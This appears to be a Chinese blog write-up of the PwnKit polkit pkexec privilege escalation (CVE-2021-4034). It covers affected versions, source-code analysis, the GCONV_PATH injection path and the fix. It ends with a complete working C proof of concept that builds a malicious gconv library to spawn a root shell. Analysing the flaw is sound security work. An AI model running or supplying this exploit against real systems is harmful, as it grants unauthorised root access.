CVE-2021-4034 Polkit 权限提升漏洞分析

基本信息

Polkit是一个用于在类Unix操作系统中控制系统范围权限的组件,它为非特权进程与特权进程提供了一种通信方式。Polkit中的pkexec应用程序旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。 Polkit pkexec存在本地权限提升漏洞。由于pkexec无法正确处理调用参数计数,攻击者可以通过制作环境变量来诱导pkexec执行任意代码。具有低权限的攻击者可以利用此漏洞绕过pkexec自带的安全保护措施,获取目标机器的ROOT权限。

影响版本

Polkit默认安装在多个主流Linux系统上,由2009年5月发布的第一个版本引入,并影响后续所有版本。以下为CentOS及Ubuntu上的安全版本:

CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1

环境搭建

技术分析&调试

源码中可以看到如下:n被赋值为1,而后通过g_strdup函数在堆内分配内存并将argv[n]复制进去,将分配到内存地址返回给path变量。当不加任何参数时,argv数组只有一个元素,而argv[1]实际指向envp[0],也就是会把环境变量的第一个复制给path变量

  for (n = 1; n < (guint) argc; n++)
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      else if (strcmp (argv[n], "--version") == 0)
        {
          opt_show_version = TRUE;
        }
      else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
        {
.....
            {
              g_printerr ("--user specified twice\n");
              goto out;
            }
          opt_user = g_strdup (argv[n]);
        }
      else if (strcmp (argv[n], "--disable-internal-agent") == 0)
.....
    }

.....

  /* Now figure out the command-line to run - argv is guaranteed to be NULL-terminated, see
   *
   *  http://lkml.indiana.edu/hypermail/linux/kernel/0409.2/0287.html
   *
   * but do check this is the case.
   *
   * We also try to locate the program in the path if a non-absolute path is given.
   */
  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]);

而后如果envp[0]!='/'则会通过g_find_program_in_path在PATH环境变量内的目录中寻找第一个名字为path变量的可执行文件,并分配内存存储其绝对路径,没找到则会返回NULL。 再找到之后会将其写入到argv[n],前面说过当没有传入命令行参数时,n为1 argv[1]指向envp[0],也就是我们可以通过控制执行pkexec的环境变量,在pkexec执行时注入环境变量。

  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      s = g_find_program_in_path (path);
      if (s == NULL)
        {
          g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
          goto out;
        }
      g_free (path);
      argv[n] = path = s;
    }

那为什么要绕这么大一圈来注入环境变量呢,直接在execve时通过envp参数注入呗。 在 glibc.so实现中有如下代码:循环遍历unsecure_envvars,并且尝试调用unsetenv来取消该环境变量(如果有的话)。

  if (__libc_enable_secure)
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;
      while (cp < unsecure_envvars + sizeof (unsecure_envvars))
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

unsecure_envvars定义在 https://codebrowser.dev/glibc/glibc/sysdeps/generic/unsecvars.h.html这些环境变量能够引入外部so,从而在执行程序的时候执行恶意代码,这在执行suid程序时是不安全的,所以glibc在初始化时就将这些环境变量去除了除非程序主动setenv。

#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

如何触发加载,代码中有如下在循环中会遍历environment_variables_to_save并获取对应的环境变量的值,传入到validate_environment_variable函数中。 validate_environment_variable函数会验证SHELL和XAUTHORITY环境变量是否合法,当SHELL环境变量不属于/etc/shells中的任意一个则会调用g_printerr,或者XAUTHORITY环境变量中包含%..也会调用g_printerr

const gchar *environment_variables_to_save[] = {
    "SHELL",
    "LANG",
    "LINGUAS",
    "LANGUAGE",
    "LC_COLLATE",
    "LC_CTYPE",
    "LC_MESSAGES",
    "LC_MONETARY",
    "LC_NUMERIC",
    "LC_TIME",
    "LC_ALL",
    "TERM",
    "COLORTERM",
    "DISPLAY",
    "XAUTHORITY",
    NULL
  };
  saved_env = g_ptr_array_new ();
  for (n = 0; environment_variables_to_save[n] != NULL; n++)
    {
      const gchar *key = environment_variables_to_save[n];
      const gchar *value;

      value = g_getenv (key);
      if (value == NULL)
        continue;

      /* To qualify for the paranoia goldstar - we validate the value of each
       * environment variable passed through - this is to attempt to avoid
       * exploits in (potentially broken) programs launched via pkexec(1).
       */
      if (!validate_environment_variable (key, value))
        goto out;

      g_ptr_array_add (saved_env, g_strdup (key));
      g_ptr_array_add (saved_env, g_strdup (value));
    }

validate_environment_variable (const gchar *key,
                               const gchar *value)
{
  gboolean ret;

  /* Generally we bail if any environment variable value contains
   *
   *   - '/' characters
   *   - '%' characters
   *   - '..' substrings
   */

  g_return_val_if_fail (key != NULL, FALSE);
  g_return_val_if_fail (value != NULL, FALSE);

  ret = FALSE;

  /* special case $SHELL */
  if (g_strcmp0 (key, "SHELL") == 0)
    {
      /* check if it's in /etc/shells */
      if (!is_valid_shell (value))
        {
          log_message (LOG_CRIT, TRUE,
                       "The value for the SHELL variable was not found the /etc/shells file");
          g_printerr ("\n"
                      "This incident has been reported.\n");
          goto out;
        }
    }
  else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
           strstr (value, "%") != NULL ||
           strstr (value, "..") != NULL)
    {
      log_message (LOG_CRIT, TRUE,
                   "The value for environment variable %s contains suscipious content",
                   key);
      g_printerr ("\n"
                  "This incident has been reported.\n");
      goto out;
    }

  ret = TRUE;

 out:
  return ret;
}

/etc/shells文件内容如下:

➜  c cat /etc/shells
# /etc/shells: valid login shells
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
/usr/bin/pwsh
/opt/microsoft/powershell/7/pwsh
/usr/bin/tmux
/usr/bin/screen
/bin/zsh
/usr/bin/zsh
/usr/bin/zsh

触发路径

当CHARSET环境变量不是UTF-8时,g_printerr不能正确打印错误消息到stderr,为了将错误消息转化为其他字符集,g_printerr会调用iconv_open(),iconv_open()会执行共享库,并且读取默认配置文件/usr/lib/gconv/gconv-modules,当GCONV_PATH环境变量存在时,可以强制iconv_open()使用GCONV_PATH指向的目录中读取gconv-modules配置文件。

因此利用可以构造如下环境变量,在通过execve启动时,pwnkit会传递给g_find_program_in_path函数,尝试在PATH指向的目录中寻找名为pwnkit的可执行程序,此时会找到GCONV_PATH=./pwnkit,并将其赋值给argv[1]实际上是envp[0]向pkexec注入了一个环境变量。

char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };

而后由于CHARSET不是UTF-8,在SHELL触发g_printerr,g_printerr会调用iconv_open()函数,由于注入了环境变量GCONV_PATH,iconv_open函数会尝试在GCONV_PATH指向的目录,即./pwnkit目录下读取gconv-modules文件,此时./pwnkit/gconv-modules已经被覆盖为如下内容:

module UTF-8// PWNKIT// pwnkit 1

这个配置文件指示iconv_open(),当尝试从UTF-8向PWNKIT转换时应该加载pwnkit.so,而CHARSET即目标字符集已经被设置为PWNKIT,所以会尝试加载pwnkit.so,只需要使我们的so在pwnkit/pwnkit.so目录即可使得pkexec以root权限加载我们的恶意so,达成提权。

漏洞修复

前面分析知道触发漏洞需要argc=0,所以在程序启动时监测argc<1就直接退出了

  if (argc<1)
    {
      exit(127);
    }

PoC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n\n"
        "void gconv() {}\n"
        "void gconv_init() {\n"
        "       setuid(0); setgid(0);\n"
        "       seteuid(0); setegid(0);\n"
        "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
        "       exit(0);\n"
        "}";

int main(int argc, char *argv[]) {
        FILE *fp;
        system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
        system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
        fp = fopen("pwnkit/pwnkit.c", "w");
        fprintf(fp, "%s", shell);
        fclose(fp);
        system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
        char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
        execve("./pkexec_105", (char*[]){NULL}, env);
}

小结

这个漏洞虽然是溢出漏洞,但更类似于逻辑漏洞,不需要为特定操作系统进行布局,只需要构造恶意环境变量组即可注入恶意环境变量,整体利用较为简单。

参考链接

https://xz.aliyun.com/t/10870

https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

Created at 2023-11-30T14:25:08+08:00

创建于:Thursday, November 30,2023
最后修改于: Wednesday, December 6,2023